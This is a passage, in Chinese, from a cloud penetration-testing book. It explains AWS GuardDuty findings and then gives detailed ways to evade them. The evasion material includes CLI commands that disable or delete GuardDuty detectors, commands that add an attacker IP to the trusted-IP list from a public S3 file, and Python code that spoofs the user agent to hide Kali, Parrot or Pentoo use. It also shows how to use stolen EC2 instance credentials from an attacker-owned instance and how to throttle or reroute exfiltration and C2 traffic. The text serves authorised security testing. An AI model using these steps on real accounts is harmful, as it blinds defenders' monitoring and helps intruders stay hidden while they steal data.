在下一章中,我们将更深入地讨论 GuardDuty,重点关注它检测和标记的内容,以及我们如何绕过本章讨论的内容。这些绕过和对 GuardDuty 使用的检测方法的理解将使我们能够以强大的力量攻击环境,同时保持隐秘。

第十六章:GuardDuty

作为攻击者,了解目标环境中进行了哪种类型的监视是很重要的,因为它可以并将塑造整个攻击计划。如果我知道某种类型的监视已启用以在发生 XYZ 时触发警报,那么我就不会执行 XYZ,因为我知道我会被抓住。相反,我会选择另一条更有可能不被察觉的路线。如果我知道环境中没有监视,那么我可以采取最简单或最快的路径来实现我的目标,而不必担心触发某些操作的警报。

亚马逊网络服务AWS)提供各种安全服务,但主要的安全监控服务是GuardDuty。需要注意的是,即使在禁用 GuardDuty 的环境中,这并不意味着没有任何监视。这是因为有许多工具,包括 AWS 内部和第三方工具,提供监视选项。本章将介绍 AWS 监视服务 GuardDuty,这是一个廉价的内部解决方案,用于在环境中捕捉低 hanging fruit。

在本章中,我们将涵盖以下主题:

  • GuardDuty 及其发现简介

  • 关于 GuardDuty 发现的警报和反应

  • 绕过 GuardDuty

GuardDuty 及其发现简介

GuardDuty 是 AWS 提供的持续监控服务,可识别并警告账户内的可疑或不需要的行为。目前,它分析三种数据源,即虚拟私有云VPC)流日志,CloudTrail 事件日志和域名系统DNS)日志。请注意,VPC 流日志和 CloudTrail 事件日志不需要在您的账户上启用 GuardDuty 才能使用它们,目前无法在 AWS 中查看 DNS 日志。这意味着即使环境中没有活动的流日志,并且 CloudTrail 被禁用,GuardDuty 仍将从 VPC 流日志,CloudTrail 事件日志和 DNS 日志生成发现。

还需要注意的是,GuardDuty 只能摄取 DNS 日志,如果请求通过 AWS DNS 解析器路由,则 EC2 实例的默认设置。如果更改了这一设置,并且请求使用其他 DNS 解析器,例如 Google 或 CloudFlare,则 GuardDuty 无法摄取和警报该 DNS 数据。

GuardDuty 也可以进行跨账户管理,其中单个主账户控制一个或多个成员账户的 GuardDuty 监视和配置。如果您发现自己在组织的 GuardDuty 主账户中,您可能能够操纵与其连接的每个账户的监视配置。

有关跨账户 GuardDuty 配置的更多信息,请访问 AWS 文档:docs.aws.amazon.com/guardduty/latest/ug/guardduty_accounts.html

GuardDuty 会针对各种不同的项目生成发现。有关最新列表,请访问docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html以查看生成的活动发现集。

在高层次上,GuardDuty 基本上会警告您可能类似恶意行为的事件,例如如果 EC2 实例正在与已知的恶意软件命令和控制服务器通信,EC2 实例正在与已知的比特币挖矿池通信,或者正在使用已知的黑客操作系统。然后可以设置这些警报以发送通知到CloudWatch事件,然后您可以对发现做出反应:

AWS Web 控制台中报告的账户中的 GuardDuty 发现示例列表

大多数 GuardDuty 发现类型依赖于机器学习来建立用户在账户中的正常活动基线。如果某事超出了基线并匹配了该发现类型,它将发出警报。考虑一个拥有两个 IAM 用户和启用了 GuardDuty 的 AWS 账户的例子。其中一个用户经常使用 IAM 服务来管理用户、组和角色,并管理所有这些的权限。另一个用户只使用 EC2 服务,尽管他们有权限做更多的事情。如果这两个用户都尝试枚举 IAM 用户、组或角色的权限,GuardDuty 可能不会触发 IAM 用户,因为这是该用户与 IAM 服务互动的基线。另一方面,EC2 用户可能会生成Recon:IAMUser/UserPermissions GuardDuty 发现类型,这表明用户试图枚举账户中的权限(并且这打破了为他们建立的基线)。

有许多 GuardDuty 发现类型非常简单,旨在捕捉攻击者的低挂果。这些类型的发现通常很简单或明显,以至于您不应该触发它们,即使您没有直接考虑它们。其中一些发现包括对 EC2 实例进行端口扫描,对安全外壳SSH)/远程桌面协议RDP)服务器进行暴力破解,或者使用 Tor 与 AWS 进行通信。在本章中,我们将重点关注更具 AWS 特色的发现和更高级的发现,因为简单的发现类型不一定在本书的范围内,而且它们应该很容易被规避或避免。

另一个需要考虑的重要事项是 GuardDuty 如何使用机器学习和基线来确定是否应该触发发现。如果您处于一个沙盒环境中,因为您正在测试工具和攻击方法,所以不断受到攻击,那么 GuardDuty 可能会将这种活动检测为您账户的基线。如果是这种情况,那么它可能不会触发您期望的某些发现,因为它已经将这种类型的活动在环境中视为正常。

关于 GuardDuty 发现的警报和反应

默认情况下,GuardDuty 将生成发现并在 Web 控制台上提供。还可以设置一个 CloudWatch Events 规则来对这些发现做出反应。通过 AWS Web 控制台进行此操作,我们可以导航到 CloudWatch Events 规则页面并创建一个新规则。对于这个规则,我们将选择 GuardDuty 作为要匹配的服务,然后选择 GuardDuty Finding 作为要匹配的事件类型。然后,我们将选择某种目标来发送发现信息。目标可以是各种各样的东西,比如简单通知服务SNS)主题,然后将发现的数据发送给安全团队的文本或电子邮件,或者可能是 Lambda 函数,然后根据发现类型做出反应,尝试自动修复它。

创建一个新的 CloudWatch Events 规则,将其定位到一个 Lambda 函数

这张截图显示了一个 CloudWatch Events 规则被创建,以便在 GuardDuty 发现时触发,并在触发时定位到ExampleFunction Lambda 函数。这种规则允许您自动化警报和/或防御 GuardDuty 触发的发现。

例如,一个 Lambda 函数可能会解析CloudWatch Events 发送的数据,确定触发了什么类型的发现,然后根据此做出反应。例如,如果 GuardDuty 发出警报,EC2 实例正在连接到已知的与加密货币相关的域,Lambda 函数可能会自动阻止该域的出站互联网访问,该域位于 EC2 实例所在的安全组中。您还可以向CloudWatch Events 规则添加另一个目标,该规则使用 SNS 向您的安全团队发送短信。这样,如果检测到与加密货币相关的活动,Lambda 函数将自动阻止,并且安全团队将收到警报,然后他们可以决定应该采取什么步骤来适当地再次保护环境。

绕过 GuardDuty

GuardDuty 触发的发现有很多,因此有很多方法可以绕过这些检测,以便您不会被抓住。并非所有事情都可以被绕过,但作为攻击者,您至少应该了解 GuardDuty 正在寻找什么,以便在攻击环境时积极努力避免或绕过它。有可能您的活动只会触发一个 GuardDuty 警报,就会关闭您对账户的访问权限,但也有可能没有人真正关注警报的到来,所以在那种情况下您就不需要太担心。

如果您想真的变得更加先进,您还可以故意触发某些 GuardDuty 警报,以便在您悄悄在环境中做其他事情的同时,让任何倾听的防御者陷入困境。此外,如果您知道目标账户正在使用CloudWatch Events 来触发 GuardDuty 发现,您甚至可以使用CloudWatch Events PutEvents API 提供完全虚假的 GuardDuty 发现,这可能会破坏CloudWatch Events 规则的目标,因为它包含意外的数据。此外,您还可以以正确的格式发送数据,但只是带有错误的信息,这可能会让防御者和/或他们的自动化在尝试修复发现时感到困惑。

用强制绕过一切

我们将要看的第一个绕过方法实际上并不是一个绕过方法,但它将阻止 GuardDuty 对我们的警报。这包括在账户中禁用 GuardDuty 探测器的监控或完全删除它们。您可能不应该使用这种方法,因为它具有破坏性,并且可能对您正在攻击的环境产生重大影响,但知道这是一个选择是很好的。请记住,这个例子只针对单个区域,但可能需要在每个区域运行这些命令,因为 GuardDuty 必须基于每个区域启用。

我们可以使用ListDetectors命令识别现有的 GuardDuty 探测器,例如以下内容:

 aws guardduty list-detectors 

如果我们在当前区域找到一个,我们可以通过运行以下命令来禁用它:

aws guardduty update-detector --detector-id <ID of the detector we found> --no-enable 

现在我们当前区域的探测器将不再监视和报告任何发现。

我们甚至可以进一步删除探测器,而不是禁用它。我们可以使用以下命令来做到这一点:

aws guardduty delete-detector --detector-id <ID of the detector we found> 

现在它不存在了,就没有办法监视我们了。

用 IP 白名单绕过一切

绕过 GuardDuty 的最佳和最有效的方法就是将您自己的攻击者 IP 地址添加到目标账户的受信任 IP 地址列表中。这是一个简单的过程,GuardDuty 不会触发任何与 GuardDuty 设置的枚举或修改有关的内容,因此它很可能会在更现代、先进的环境中悄悄进行,甚至不会引起注意。如果我们在 AWS 网络控制台的 Lists 选项卡中查看 GuardDuty,我们将看到类似以下截图的内容:

在 AWS 网络控制台中显示 GuardDuty 的受信任 IP 列表和威胁列表

在这个截图中,我们可以看到有一个受信任的 IP 列表和威胁列表的部分。它们分别是白名单和黑名单 IP 地址的一种方式,告诉 GuardDuty 要么忽略这些 IP 地址的发现(白名单),要么对这些 IP 地址的一切触发警报(黑名单)。

作为攻击者,这太棒了。我们可以在不触发任何警报的情况下将我们自己的 IP 地址列入白名单,然后在环境中肆无忌惮,而不用担心从那时起 GuardDuty。

当您尝试将自己添加为受信任的 IP 时,可能会遇到一个问题,即 GuardDuty 允许每个区域最多一个受信任的 IP 列表。这意味着如果我们的目标已经使用受信任的 IP 列表,我们将不得不稍微修改我们的攻击。首先要做的是确定他们是否实际上使用了受信任的 IP 列表。请注意,GuardDuty 基于每个区域进行监视,因此可能需要针对每个可用区域中的每个 GuardDuty 检测器重复这些步骤。我们可以通过运行以下 AWS 命令行界面(CLI)命令来做到这一点:

   aws guardduty list-detectors 

这应该返回当前区域的 GuardDuty 检测器的 ID。在我们的示例中,结果是e2b19kks31n78f00931ma8b081642901。如果没有返回检测器 ID,那意味着 GuardDuty 在当前区域未启用,如果您试图绕过它,这是个好消息!然后我们将检查这个检测器,看看它是否已经有一个与之关联的受信任 IP 列表,使用以下命令:

 aws guardduty list-ip-sets --detector-id e2b19kks31n78f00931ma8b081642901 

如果已经有一个受信任的 IP 集合,它的 ID 将被返回,如果没有,将返回一个空列表。我们将首先看一下的情况假设他们还没有使用受信任的 IP 列表。这对我们来说是最理想的情况。

要开始这次攻击,我们需要在我们的计算机上创建一个文本文件,其中包含我们想要列入白名单的 IP 地址。我们将把这个文件命名为ip-whitelist.txt。然后,因为 GuardDuty 要求包含 IP 白名单的文件必须托管在 S3 中,我们将把这个文件上传到我们自己攻击账户中的一个 S3 存储桶,并公开暴露这个文件。这样做的原因是我们始终控制着所使用的白名单,甚至在参与过程中可能需要修改它。在这个示例中,我们将说我们使用bucket-for-gd-whitelist S3 存储桶。首先,我们将使用以下命令将我们的文件上传到存储桶中:

 aws s3 cp ./ip-whitelist.txt s3://bucket-for-gd-whitelist

接下来,我们将确保我们的文件是公开可读的,这样 GuardDuty 在设置为白名单时可以随时读取它。我们可以使用以下命令来做到这一点:

aws s3api put-object-acl --acl public-read --bucket bucket-for-gd-whitelist --key ip-whitelist.txt 

请记住,存储桶本身或您的帐户的设置可能会阻止公共对象,因此如果在运行此命令时收到访问被拒绝的消息,或者似乎无法工作,请确保存储桶或帐户的公共访问设置已正确配置以允许公共对象。

现在我们的文件应该可以在此 URL 公开访问(仅供本示例使用):s3.amazonaws.com/bucket-for-gd-whitelist/ip-whitelist.txt

接下来,我们将使用以下命令为我们之前确定的 GuardDuty 检测器创建新的受信任 IP 列表:

 aws guardduty create-ip-set --detector-id e2b19kks31n78f00931ma8b081642901 --format TXT --location https://s3.amazonaws.com/bucket-for-gd-whitelist/ip-whitelist.txt --name Whitelist --activate

如果这一步成功,你应该会收到一个包含新创建的受信任 IP 集合 ID 的响应。现在就是这样。你的 IP 地址已经在当前区域的 GuardDuty 的受信任 IP 列表中,这意味着 GuardDuty 不会为它生成发现(从 GuardDuty 列表页面)。

正如你可能已经猜到的,Pacu 有一个模块可以自动化这个过程。从 Pacu,我们可以使用guardduty__whitelist_ip模块在每个区域执行此操作。我们可以使用以下命令来做到这一点:

 run guardduty__whitelist_ip --path https://s3.amazonaws.com/bucket-for-gd-whitelist/ip-whitelist.txt

完成后,Pacu 将在每个 AWS 区域中将您的 IP 地址列入 GuardDuty 的白名单。

现在我们将看一个场景,目标 AWS 账户已经设置了 GuardDuty 的信任 IP 列表。我们不能只是添加另一个列表,因为每个 GuardDuty 检测器最多只能有一个信任的 IP 列表。我们可以用几种不同的方式来处理这个问题。在运行ListIPSets命令并看到确实设置了信任的 IP 列表之后,我们可以直接删除现有的 IP 集,然后实施一个将我们自己的 IP 列入白名单的 IP 集。如果您使用 Pacu,并且 Pacu 检测到已经存在的信任 IP 集,它将提示您删除它并创建您自己的 IP 集,或者跳过该检测器。唯一的问题是,删除现有的信任 IP 白名单可能会在环境中产生意想不到的后果,这意味着在试图保持隐蔽时,我们可能会引起比必要更多的注意。

我们还有另一个选择,即将当前的信任 IP 列表更新为包括我们自己的 IP,以及原来存在的所有 IP。为了做到这一点,让我们从ListIPSets API 调用中收集到的 IP 集 ID,并运行GetIPSet命令:

 aws guardduty get-ip-set --detector-id e2b19kks31n78f00931ma8b081642901 --ip-set-id 37w2992c2274llq7u4121o8af11j4971 

如果我们在本节早些时候创建的信任 IP 列表上运行该命令,输出将如下所示:

{
    "Format": "TXT",
    "Location": "https://s3.amazonaws.com/bucket-for-gd-whitelist/ip-whitelist.txt",
    "Name": "Whitelist",
    "Status": "ACTIVE"
}

我们将把这个信任的 IP 列表视为我们以前没有见过的列表(尽管我们自己设置了它)。我们需要做的是访问 URL 并下载当前的列表,然后修改列表以包括我们自己的攻击者 IP 地址。完成后,我们将按照之前的过程,将这个文件上传到我们自己的个人 S3 存储桶,并使文件公开可读。

完成后,我们将使用UpdateIPSet API 而不是之前使用的CreateIPSet API。我们可以使用以下命令更新现有的信任 IP 列表为我们的新列表:

 aws guardduty update-ip-set --detector-id e2b19kks31n78f00931ma8b081642901 --ip-set-id 37w2992c2274llq7u4121o8af11j4971 --location https://s3.amazonaws.com/our-own-bucket-for-gd-whitelist/our-own-ip-whitelist.txt --activate

现在,我们已经用我们自己的 IP 地址更新了信任的 IP 列表,而不会删除任何已经列入白名单的 IP,因此不会在环境中引起任何骚动,可能会引起注意。

作为一个负责任的(聪明的)攻击者,我们还需要跟进一步。这一步是在 AWS 的参与/渗透测试/攻击的最后,我们恢复原始的白名单,这样在查看时配置看起来不会很奇怪,我们的 IP 也不再存储在他们可以访问的列表中。为了做到这一点,我们应该保存最初与信任的 IP 列表相关联的 URL,直到参与结束,然后再次使用UpdateIPSet API 将其恢复到该 URL。通过这样做,我们的 IP 在参与期间被 GuardDuty 列入白名单,然后在完成后离开环境,而不对其中的资源进行任何重大修改。

重要的一点是,如果您攻击的账户有另一个外部主账户控制的 GuardDuty,您将无法修改信任的 IP 列表设置。只有主账户在管理 GuardDuty 跨账户时才能做到这一点。当主账户上传信任的 IP 列表时,这个列表将被应用到属于该主账户的所有 GuardDuty 成员身上,这对于已经攻破了 GuardDuty 主账户的攻击者来说是很棒的。

绕过 EC2 实例凭据外泄警报

本节将重点关注单个 GuardDuty 发现类型:UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration。AWS 文档描述了当专门为 EC2 实例通过实例启动角色创建的凭据从外部 IP 地址使用时,将触发此发现(docs.aws.amazon.com/guardduty/latest/ug/guardduty_unauthorized.html#unauthorized11)。基本上,当启动 EC2 实例并附加 IAM 实例配置文件时,GuardDuty 期望该角色的凭据只能在该单个实例中使用,或者至少是这样的,但我们很快就会讨论这个问题。

这个发现之所以在本章中有自己的部分,是因为在 AWS 的参与中,出现了有可能触发它的情况非常普遍。我们在渗透测试中发现的获取这些凭据的最常见方法是在具有 IAM 实例配置文件的 EC2 实例上获得服务器端请求伪造。然后,您可以向 EC2 元数据 URL(169.254.169.254/)发出 HTTP 请求并请求这些凭据。在这种情况下,您无法在服务器上执行命令,因此需要将获取的凭据外泄以使用它们。这就是 GuardDuty 发现介入并识别 EC2 实例凭据来自外部 IP 地址的地方。

尽管这个 GuardDuty 发现是在攻击环境中遇到的最常见的之一,但它也是最容易完全绕过的之一。需要注意的重要事情是,当文档说,“正在使用 *外部 IP 地址时,”它指的是一个对所有 EC2 都是外部的 IP 地址,并不是指 EC2 实例附加的 IAM 实例配置文件外部的 IP 地址。

鉴于这些信息,绕过很简单。我们只需要在我们自己的攻击者帐户中启动一个 EC2 实例(如果我们知道的话,可以在与我们 SSRF 的服务器相同的区域中启动,以便源 IP 在区域范围内),使用 AWS CLI,Pacu 等配置凭据,然后开始入侵。对于 Pacu,您只需要运行set_keys命令,并输入从目标 EC2 实例窃取的访问密钥 ID,秘密访问密钥和会话令牌,然后您就可以运行任何模块或 API 命令,而不必担心 GuardDuty UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration警报。

要在我们自己的帐户中启动此 EC2 实例,运行 Ubuntu Server 18.04 LTS,我们可以运行以下命令,然后用您在 AWS EC2 中创建的 SSH 密钥的名称替换<your ec2 ssh key name>(您需要修改镜像 ID 和区域参数值以在us-east-1以外的区域运行此命令):

 aws ec2 run-instances --region us-east-1 --image-id ami-0ac019f4fcb7cb7e6 --instance-type t2.micro --key-name <your ec2 ssh key name> --count 1 --user-data file://userdata.txt

userdata.txt文件应包含以下内容,将安装Python3Pip3Git,AWS CLI 和Pacu

#!/bin/bash
apt-get update
apt-get install python3 python3-pip git -y
pip3 install awscli
cd /root
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu/
/bin/bash install.sh

启动实例后,您可以使用在命令行中提供的 SSH 密钥进行 SSH 连接。然后,我们可以运行以下命令:

  • sudo su

  • cd /root/pacu

  • 运行python3 pacu.py

  • set_keys

在这一点上,您将被提示将您的角色凭据输入 Pacu,以便您可以开始。如果在尝试更改目录到/root/pacu时不存在该文件夹,则可能实例仍在安装用户数据脚本中定义的各种软件。等一两分钟然后再次检查。如果仍然没有显示,请查看/var/log/cloud-init-output.log文件的内容,看看在安装任何前述软件期间是否有任何错误,或者它是否仍在运行。

现在,只要您留在这个实例内部,您就不需要担心 GuardDuty 发现的警报,但是如果您移动到 EC2 IP 范围之外,很可能会在您的第一个 API 调用时触发警报。

另一个重要的观点是,UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration GuardDuty 警报只针对您账户中的 EC2 实例。这意味着,如果您通过某些其他 AWS 服务托管的服务器获得了凭据,这个 GuardDuty 警报不会关注您对这些凭据的使用。这意味着,如果您在 Lambda 函数上获得了远程代码执行,并从环境变量中窃取了凭据,您可以将其转移到任何系统并使用,而不用担心被这种特定的 GuardDuty 发现类型检测到。对于 AWS Glue 开发端点也是一样;如果您从 Glue 开发端点的元数据 API 中窃取了凭据,您可以将其转移到任何地方而不用担心,因为 GuardDuty 不会追踪它们。

Glue 是一个有趣的例子,因为开发端点基本上似乎是在别人的账户中启动的 EC2 实例(由 AWS 自己拥有),当然有一些修改。这意味着从 Glue 开发端点中窃取凭据实际上可能会触发 AWS 自己拥有的 AWS 账户中的 GuardDuty 警报,但这对我们攻击者来说并不重要,因为我们的目标不会拥有这些信息。

绕过操作系统(渗透测试)警报

PenTest发现类型的 GuardDuty 警报下有三个警报。这些发现是PenTest:IAMUser/KaliLinuxPenTest:IAMUser/ParrotLinuxPenTest:IAMUser/PentooLinux,当从 Kali Linux 服务器、Parrot Linux 服务器或 Pentoo Linux 服务器发出 AWS API 调用时会触发警报。只要您知道是什么导致了这些警报被检测到,就很容易绕过它们。

无论您使用什么客户端与 API 交互,无论是来自受支持的各种语言的 SDK(如 Java、Python 或 Node.js),AWS CLI(在后台使用 Python),AWS web 控制台,还是原始的 HTTP 请求,您都将始终有一个用户代理来描述您的操作系统和版本,以及在进行请求时使用的其他软件及其版本。然后,CloudTrail 会记录这个用户代理字符串,就像我们在第十五章中看到的那样,渗透测试 CloudTrial

在 Kali Linux 上使用 AWS CLI 时发送的示例用户代理如下所示:

 aws-cli/1.16.89 Python/3.6.8 Linux/4.19.0-kali1-amd64 botocore/1.12.79 

这个用户代理告诉我们一些事情:

  • 使用 AWS CLI,版本为 1.16.89,进行了请求。

  • AWS CLI 在后台使用 Python 版本 3.6.8。

  • 操作系统是带有 4.19.0 内核版本的 Kali Linux,运行在 AMD 64 上。

  • Python 正在使用botocore库的 1.12.79 版本。

在 Parrot Linux 上使用 AWS CLI 时发送的示例用户代理如下所示:

 aws-cli/1.16.93 Python/3.6.8 Linux/4.19.0-parrot1-13t-amd64 botocore/1.12.83

这个用户代理告诉我们一些事情:

  • 使用 AWS CLI,版本为 1.16.93,进行了请求。

  • AWS CLI 在后台使用 Python 版本 3.6.8。

  • 操作系统是带有 4.19.0 内核版本的 Parrot Linux,运行在 AMD 64 上。

  • Python 正在使用botocore库的 1.12.83 版本。

在 Pentoo Linux 上使用 AWS CLI 时发送的示例用户代理如下所示:

[aws-cli/1.16.93 Python/2.7.14 Linux/4.17.11-pentoo botocore/1.12.83] 

这个用户代理告诉我们一些事情:

  • 使用 AWS CLI,版本为 1.16.93,进行了请求。

  • AWS CLI 在后台使用 Python 版本 2.7.14。

  • 操作系统是带有 4.17.11 内核版本的 Pentoo Linux。

  • Python 正在使用botocore库的 1.12.83 版本。

在使用 AWS web 控制台时,大多数 CloudTrail 日志将使用以下用户代理:

   signin.amazonaws.com 

这个用户代理告诉我们用户是登录到 AWS web 控制台,而不是使用其他与 API 交互的方法。

对于 Kali、Parrot 和 Pentoo Linux 用户代理,我们可以看到它们都包含各自的操作系统名称(kaliparrotpentoo)。这基本上是 GuardDuty 用来识别这些操作系统使用的内容,当报告PenTest发现类型时。

要获得自己的用户代理,您可以对 API 进行任何 AWS 请求,该请求将被记录在 CloudTrail 中,然后您可以查看该 CloudTrail 事件的详细信息,以查看记录的用户代理是什么。如果您使用 Python 的boto3库与 AWS API 进行交互,您可以使用以下代码行来打印出您的用户代理是什么:

print(boto3.session.Session()._session.user_agent())

为了避免这些 GuardDuty 检查,即使我们使用 Kali Linux、Parrot Linux 或 Pentoo Linux,我们只需要在向 AWS API 发出请求之前修改我们使用的用户代理。只要 GuardDuty 在我们的用户代理中没有检测到kaliparrotpentoo,那么我们就没问题。

以下代码块显示了一个小例子,我们如何检测这些操作系统中的任何一个,如何在那种情况下更改用户代理,然后如何成功地使用修改后的用户代理进行请求。这段代码遵循了我们在整本书中一直遵循的相同的 Python 3 与boto3模式:

import random

import boto3
import botocore

# A list of user agents that won't trigger GuardDuty
safe_user_agents = [
 'Boto3/1.7.48 Python/3.7.0 Windows/10 Botocore/1.10.48',
 'aws-sdk-go/1.4.22 (go1.7.4; linux; amd64)',
 'aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10'
]

# Grab the current user agent
user_agent = boto3.session.Session()._session.user_agent().lower()

# Check if we are on Kali, Parrot, or Pentoo Linux against a lowercase version of the user agent
if 'kali' in user_agent.lower() or 'parrot' in user_agent.lower() or 'pentoo' in user_agent.lower():
 # Change the user agent to a random one from the list of safe user agents
 user_agent = random.choice(safe_user_agents)

# Prepare a botocore config object with our user agent
botocore_config = botocore.config.Config(
 user_agent=user_agent
)

# Create the boto3 client, using the botocore config we just set up
client = boto3.client(
 'ec2',
 region_name='us-east-1',
 config=botocore_config
)

# Print out the results of our EC2 DescribeInstances call
print(client.describe_instances())

基本上,所有这些代码所做的就是检查我们的客户端的用户代理字符串中是否包含kaliparrotpentoo,如果是,就将其更改为已知的安全用户代理。这样修改我们的请求将允许我们完全规避 GuardDuty 进行的 PenTest/用户代理检查。

尽管直接使用boto3库很容易规避这些 GuardDuty 检查,但在使用 AWS CLI 时会有点棘手(尽管不是不可能)。您还需要将此代码添加到您正在使用的任何其他软件中,以确保在攻击期间永远不会被检测到;然而,幸运的是,Pacu 已经考虑到了这一点。

启动 Pacu(python3 pacu.py)时,这个检查 Kali、Parrot 和 Pentoo Linux 的操作将自动为您执行。如果 Pacu 检测到您正在运行其中任何一个操作系统,那么它将自动从本地存储的列表中选择一个已知的安全用户代理,并将使用这个新的用户代理进行 Pacu 发出的任何和所有 AWS 请求。这个检查将应用于创建的整个 Pacu 会话,因此只有在创建 Pacu 会话时才会看到更改已经进行的警告。如果您将该会话移动到另一台计算机,它将保留最初选择的用户代理,因此所有请求在 CloudTrail 中都显示为一致的。

在 Pacu 启动时,当您在我们一直在关注的三个操作系统中的一个上创建新会话时,您会看到以下消息:

Pacu 中的内置 GuardDuty 防御

现在,任何检查 CloudTrail 日志的人都会看到我们正在使用的是 Windows 10,而不是 Kali Linux。这意味着 GuardDuty 也会看到同样的情况,并不会对我们触发任何发现。

尽管这些发现列在PenTestGuardDuty 类别下,听起来并不一定恶意,但这些检查是我们可以努力规避的最重要的检查之一。这是因为使用这三个操作系统中的任何一个都会对知道它们在其环境中通常(或从未)使用的防御者看起来非常可疑,这意味着我们的攻击很可能会在短时间内被调查和停止。

在这种情况下修改我们的用户代理时,可能并不总是有意义使用一个看似随机的用户代理作为我们的替代。比如说,我们妥协了一个严格使用 AWS Java SDK 进行 API 调用的帐户,但我们妥协了一个用户并更改了我们的用户代理以反映我们使用 Python boto3库。这将引起任何留意这种事情的防御者的怀疑。由于用户代理由用户控制,这种类型的检测非常不可靠,所以你可能不经常遇到,但还是值得注意。

为了击败任何用户代理检测,我们可能需要审查目标帐户的 CloudTrail 日志,以找到我们已经妥协的用户之前进行的 API 调用。然后,我们可以复制该用户代理并将其用作我们自己的,一举两得。我们将隐藏我们使用 Kali、Parrot 或 Pentoo Linux 的事实,并通过使用以前见过的用户代理来适应环境的规范。

其他简单的规避方法

与我们之前讨论的类似,GuardDuty 检查了许多不同的事情,因此每一种可能都需要其自己的规避方法。

我们可以遵循的最简单的规则来规避low-hanging-fruit 检查包括以下内容:

  • 不要使用 Tor 网络与 AWS 通信

  • 不要从 EC2 实例扫描端口

  • 不要暴力破解 SSH/RDP 服务器

  • 不要与已知的恶意网络、主机或 IP 通信

还有一些其他的事情我们应该记住。

加密货币

如果我们想要挖掘加密货币(在合法的渗透测试期间绝对不应该这样做),我们将要查看CryptoCurrency:EC2/BitcoinTool.B!DNS 和CryptoCurrency:EC2/BitcoinTool.B GuardDuty 警报。这些警报会触发与已知与加密货币相关的活动相关的域名和 IP 地址的网络活动(docs.aws.amazon.com/guardduty/latest/ug/guardduty_crypto.html)。这意味着我们可以通过避免直接连接到已知的与加密货币相关的域名和 IP 地址,如交易所和矿池,来规避这一点。

行为

规避 GuardDuty 行为检查也可能非常简单。

要规避Behavior:EC2/NetworkPortUnusual 发现,当 EC2 实例与不寻常端口上的远程主机通信时触发,我们只需要确保我们正在执行的任何恶意软件命令和控制使用常见端口,如80(HTTP)或443(HTTPS),而不是一些随机的高端口。

Behavior:EC2/TrafficVolumeUnusual GuardDuty 发现在向远程主机发送异常大量网络流量时触发。作为防御者,这可能表明内部网络中存在数据外泄的迹象。作为攻击者,我们可以通过限制出站带宽来规避这一发现,以便一次性发生的流量量不会很大。相反,会在较长时间内发生少量的流量。

ResourceConsumption

ResourceConsumption:IAMUser/ComputeResources GuardDuty 发现在检测到旨在将计算资源(EC2)启动到帐户中的 API 时触发。我们可以通过避免在 GuardDuty 监控的区域使用RunInstances EC2 API 来规避这一发现类型。如果每个区域都没有被监控,我们可以在未被监控的区域启动我们的 EC2 实例;然而,如果每个区域都被监控,那么我们可以通过完全避免 API 调用或使用其他 AWS 服务来启动我们需要的服务器来规避这一点。

我们可以通过使用 AWS 内的许多服务之一来做到这一点,这些服务也会启动服务器,其中一些包括Lightsail实例、Glue 开发端点或AppStream实例。在这些情况下,我们仍然会在目标账户内启动服务器,但它们不会被 GuardDuty 检测到,因为我们已经避免了RunInstances EC2 API。

隐蔽

我们已经讨论了 GuardDuty 发现类型中与 CloudTrail 相关的两种,但在隐蔽类别下还有第三种:Stealth:IAMUser/PasswordPolicyChange。当账户的密码策略被削弱时,比如最小密码长度从 15 个字符变为 8 个字符时,就会触发这个发现。为了避免这种情况,我们简单地不应该触碰我们正在攻击的账户内的密码强度要求。

特洛伊木马

GuardDuty 的特洛伊木马类别中的大多数发现可以通过永远不与已知的恶意 IP 地址和域通信来避免,这很容易做到。然而,有一个发现,Trojan:EC2/DNSDataExfiltration,有点不同。当发现 EC2 实例通过 DNS 查询外泄数据时,就会触发这个发现。为了避免这种情况,我们可以简单地决定不在受损的 EC2 实例内使用 DNS 数据外泄的方法。

此外,正如之前讨论的,GuardDuty 只能读取使用 AWS DNS 服务器的 DNS 请求的 DNS 日志。可能可以定制你的恶意软件使用替代 DNS 解析器(而不是 AWS DNS 的 EC2 默认值)进行 DNS 外泄,这将完全绕过 GuardDuty,因为它永远不会看到这些流量。

其他

还有其他 GuardDuty 发现类别我们没有讨论,这是因为它们通常更难绕过,需要特定情况下的攻击,或者它们被包含在我们已经讨论过的另一个主题中。

总结

在当前状态下,GuardDuty 处于早期阶段,并且在环境中检测恶意活动时寻找很多低 hanging fruit。这些检查中的许多(有时甚至全部)都很容易在攻击 AWS 环境的过程中绕过和/或避免。尽管本章试图涵盖目前对 GuardDuty 的所有了解,但随着时间的推移,该服务正在慢慢更新和改进。这主要是因为其中涉及到机器学习。

由于 GuardDuty 的位置,它可能不是一个很好的应对一切的解决方案,所以当你攻击 AWS 环境时,重要的是要记住它可能不是唯一监视你的东西。即使你在攻击一个有 GuardDuty 和另一个监控工具的环境,尽量绕过 GuardDuty 仍然是有用和实际的,这样你就不会因为一些低 hanging fruit 而被抓住,或者因为环境中更先进的监控设置而被抓住。

第七部分:利用 AWS 渗透测试工具进行真实世界的攻击

在本节中,我们将看看真实世界的 AWS 渗透测试工具,以及我们如何将迄今学到的一切整合起来,执行完整的 AWS 渗透测试。

本节将涵盖以下章节:

  • 第十七章,使用 Scout Suite 进行 AWS 安全审计

  • 第十八章,使用 Pacu 进行 AWS 渗透测试

  • 第十九章,将所有内容整合在一起-真实世界的 AWS 渗透测试

第十七章:使用 Scout Suite 进行 AWS 安全审计

本章介绍了另一个自动化工具,称为 Scout Suite,它对 AWS 基础架构内的攻击面进行审计,并报告了一系列发现,可以在 Web 浏览器上查看。Scout2 在白盒测试期间对渗透测试人员非常有用,因为它允许快速评估各种 AWS 服务中的安全配置问题,并在易于阅读的仪表板上报告它们。这有助于识别一些可能需要更长时间才能检测到的低挂果。

本章将涵盖以下主题:

  • 设置一个易受攻击的 AWS 基础设施

  • 配置和运行 Scout Suite

  • 解析 Scout Suite 扫描的结果

  • 使用 Scout Suite 的规则

技术要求

本章将使用以下工具:

  • Scout Suite

设置一个易受攻击的 AWS 基础设施

在这个练习中,我们将创建一个易受攻击的 EC2 基础设施,包括一个新的 VPC、子网和一个暴露的 EC2 实例。我们还将创建一个新的 S3 存储桶,该存储桶可以公开写入和读取。

一个配置错误的 EC2 实例

